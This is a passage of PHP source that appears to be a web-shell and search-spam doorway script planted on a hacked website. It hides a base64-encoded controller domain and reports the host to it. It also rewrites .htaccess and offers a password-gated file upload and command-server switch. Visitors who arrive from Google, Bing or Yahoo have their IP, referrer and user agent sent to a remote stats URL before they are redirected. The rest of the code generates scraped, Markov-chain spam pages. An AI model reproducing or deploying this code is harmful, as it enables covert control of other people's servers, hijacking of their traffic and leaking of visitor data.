= 400) $content = false; curl_close($ch); return $content; } } else if(function_exists('file_get_contents')) { // cURL , file_get_contents function curl_get_contents($url) { return file_get_contents($url); } } else die('not work'); $workdir = preg_replace("/^www\./", "", $_SERVER["HTTP_HOST"]); // make dirs @mkdir(".log/"); @chmod(".log/",0777); @mkdir(".log/".$workdir); @chmod(".log/".$workdir,0777); // make actual domain $file = ".log/".$workdir."/xml.cgi"; if (@fopen($file, "r")) {} else { $xmlrpc2 = fopen(".log/".$workdir."/xml.cgi","w+"); fwrite($xmlrpc2, "bXlkaWFyeW9yZy5uZXQ="); fclose($xmlrpc2); } // test connect if ( $_GET["q"] == "alcobro" ) { $file = ".htaccess"; if (file_exists($file)) { $chekhtaccess = "disable"; } else { $htaccess = " RewriteEngine On RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.*)$ ".$_SERVER['SCRIPT_NAME']."?q=$1 [L] "; $htaccess2 = fopen(".htaccess","w+"); fwrite($htaccess2,$htaccess); fclose($htaccess2); $chekhtaccess = "enable"; } $actual = base64_decode(file_get_contents('.log/'.$workdir.'/xml.cgi')); $alcobro = 'http://'.$actual.'/other/logdomain.php?q='.$_SERVER['HTTP_HOST']; $alcobro2 = curl_get_contents($alcobro); echo $alcobro2.$chekhtaccess; die; } $md = $_POST["name"]; if (md5($md) == '42a3f0678d1bbb517272142f5b3df3cd') { // change actual domain if ($_GET["dom100500"] != "") { $fp2 = fopen(".log/".$workdir."/xml.cgi","w+"); fwrite($fp2,$_GET["dom100500"]); fclose($fp2); echo '100500ok'; die; } // file upload form if ($_GET["up100500"] != "") { $target = ""; $target = $target . basename( $_FILES['uploaded']['name']) ; $ok=1; if(move_uploaded_file($_FILES['uploaded']['tmp_name'], $target)) { echo "up100500"; } echo '
'; die; } } // redirect if ( strpos( $_SERVER['HTTP_REFERER'], "site%" ) > 0 ) {} else { if ( strpos( $_SERVER['HTTP_REFERER'], "google." ) > 0 || strpos( $_SERVER['HTTP_REFERER'], "bing." ) > 0 || strpos( $_SERVER['HTTP_REFERER'], "yahoo." ) > 0 ) { $actual = base64_decode(file_get_contents('.log/'.$workdir.'/xml.cgi')); $keyword = str_replace ("-", " ", $_GET["q"]); $sFullUrl = 'http://'.$actual.'/out/stat.cgi?parameter='.rawurlencode(strtolower($workdir.$_SERVER['SCRIPT_NAME'].':'.$actual)).'&ip='.rawurlencode($_SERVER['REMOTE_ADDR']).'&ref='.rawurlencode(strtolower($_SERVER['HTTP_REFERER'])).'&useragent='.rawurlencode(strtolower($_SERVER['HTTP_USER_AGENT'])).'&domain='.rawurlencode(strtolower($_SERVER['HTTP_HOST'])).'&visit=1&keyword='.rawurlencode($keyword).'&sheme=29'; $sOutContent = ''; $sOutContent = curl_get_contents($sFullUrl); if (preg_match("|http://|iU", $sOutContent )) { echo ''; die; } } } //make page for google function lll__1($sss_3) { $workdir = preg_replace("/^www\./", "", $_SERVER["HTTP_HOST"]); // start parse text $key = isset($_GET['q']) ? str_replace('/', '', urldecode($_GET['q'])) : FALSE; $key5 = str_replace("-","+",$key); $key5 = str_replace("_","+",$key); $gettext_url = 'http://www.google.com/search?hl=en&as_q='.$key5.'&num=100&as_qdr=all'; $result = curl_get_contents($gettext_url); preg_match_all("#
(.*)
#U",$result,$ttt_5); $ttt_6=array(); for ($tto=0;$tto'); $ttt=str_replace('em>','b>',$ttt); $ttt=str_replace("...",". ",$ttt); $ttt=str_replace("&#39;", "'",$ttt); $ttt=str_replace("'", "'",$ttt); $ttt=str_replace("#039;", "'",$ttt); $ttt=str_replace("&quot;", "",$ttt); $ttt=str_replace("middot;", "",$ttt); $ttt=str_replace("quot;", "",$ttt); $ttt=str_replace("amp;", "",$ttt); $ttt=str_replace("nbsp;", "",$ttt); $ttt=str_replace("—", " ",$ttt); $ttt=strip_tags($ttt); array_push($ttt_6,$ttt); } for ($tto=0;$tto<50;$tto++) { $text2.=$ttt_6[$tto]; } // end parse text //generate markov text Class MarkovChains { var $prepared = array(); function MarkovChains($source) { $source = strtolower($source); $source = str_replace(array ("? ", "! "), ".", $source); $source = str_replace(array (" -", "- ", "\t", "\r", "\n", "|", "&", '\\', '/', " :", " ;", "©", "·"), ' ', $source); $source = str_replace(array (")", "(", "]", "[", "—", "'", "\"", '*', '•', '~', '{', '}'), '', $source); $source = str_replace(" ,", ",", $source); $source = preg_replace("~(\s+\d{1,2}\s+)|(\w*\.\w+)~", " ", $source); $source = preg_replace("~\s+~", " ", $source); $sentens = explode('. ', $source); $count_sentens = count($sentens); for ($j=0; $j<$count_sentens; ++$j) { $sentens[$j] = explode(' ', $sentens[$j]); $count_words = count($sentens[$j]) - 1; for ($i=0; $i < $count_words; ++$i) { $prefix = $sentens[$j][$i]; $this->prepared[$prefix][] = $sentens[$j][$i+1]; } } $keys = array_keys($this->prepared); foreach ($keys as $key) { $this->prepared[$key] = array_unique($this->prepared[$key]); } } function GenerateText($size) { $result_count = 0; for ($j=0; $result_count < $size; ++$j) { $prev = array_rand($this->prepared); $num = mt_rand(5, 12); for ($i=0; $i<$num; ++$i) { $sents[$j][$i] = $prev; ++$result_count; $p = $this->prepared[$prev][mt_rand(0, count($this->prepared[$prev]) - 1)]; if ($p == '') $p = array_rand($this->prepared); $prev = $p; if ($prev == '') break 2; } } foreach ($sents as $sent) { $count_word=count($sent); if ($count_word<=2) continue; if (strlen($sent[$count_word-1]) < 4) unset($sent[$count_word-1]); $sent[$count_word-2] = rtrim($sent[$count_word-2], ",:;"); $sent[$count_word-1] = rtrim($sent[$count_word-1], ",:;"); $output .= ucfirst(implode(' ', $sent)).'. '; } $output = str_replace(' .', '.', $output); return $output; } } $source = $text2; $markov = new MarkovChains($source); $text = $markov->GenerateText(1400); $text = preg_replace("/[^a-zA-Z\., -]+?/", "", $text); // end generate markov text //get keyword $key2 = isset($_GET['q']) ? str_replace('/', '', urldecode($_GET['q'])) : FALSE; $key2=str_replace("-"," ",$key2); $key2=str_replace("_"," ",$key2); // image parse $imgkey = str_replace (" ", "+", $key2); if($_GET["page"] != "1") { $page_parse = "&start=".($_GET["page"]-1)*21; } $page_contents = curl_get_contents("http://images.google.com/images?q=".$imgkey."&lr=lang_en".$page_parse); preg_match_all('/href="?\/imgres\?imgurl=([^\&]+)/', $page_contents, $match); $img = array(); for ($i = 0; $i < count($match[1]); $i++) { $align = array("right", "left", "center"); array_push($img, "\"".ucwords($imgkey)."\""); } shuffle($img); // end image parse //get pages if (strstr($_SERVER['REQUEST_URI'], ".php")) { $scriptdir = "http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."?q="; } else { $scriptdir = "http://".$_SERVER['HTTP_HOST'].preg_replace('/[^\/]*?$/', "", $_SERVER['SCRIPT_NAME']); } //perelinkovka $limit2 = 30; $files2 = glob( '.log/'.$workdir.'/*.html' ); array_multisort( array_map('filectime', $files2), SORT_DESC, $files2 ); $c2 = 1; $links = ''; foreach ( $files2 as $f2 ) { if ( $c2 > $limit2 ) break; preg_match_all( "#^\.log/".$workdir."/(.*)\.html$#i", $f2, $f21 ); $links .= ''.str_replace( "_", " ", str_replace( "-", " ", $f21[1][0])).', '; $c2++; } //get google related keys $res = curl_get_contents("http://clients1.google.com/complete/search?hl=en&ds=i&q=" . str_replace(" ", "%20", $key2)); preg_match_all("|\[\"([^\"]+)\",|si", $res, $o, PREG_PATTERN_ORDER); $cnt = 0; array_shift($o[1]); foreach ($o[1] as $k) { $c .= "" . $k . ", "; if ($cnt++ > 11) break; } $url_perelink = $scriptdir.$_GET["q"]; $pages = ''.ucwords($key2).' - Page 2 | '.ucwords($key2).' - Page 3 | '.ucwords($key2).' - Page 4 | '.ucwords($key2).' - Page 5 | '.ucwords($key2).' - Page 6 | '.ucwords($key2).' - Page 7'; //mix text and images $predl = explode ( ".", $text ); $content = array_merge($predl, $img); shuffle($content); foreach ($content as $page_text2) { $page_text .= $page_text2; } //page shabs $shab_file = ".log/".$workdir."/don.txt"; // if no shab file exists so create new one if ( !file_exists( $shab_file ) ) { $main_shab = file_get_contents( "http://".$_SERVER['HTTP_HOST'] ); $main_shab = preg_replace( "//i", "", $main_shab ); // analyze content tag insert place $found = preg_match_all( "/<([a-zA-z]+)>(.*)<\/([a-zA-Z]+)>/imsU", $main_shab, $matches ); $ac_max = 0; $ac_id = 0; for ( $i = 0; $i < $found; $i++ ) { if ( (preg_match("/\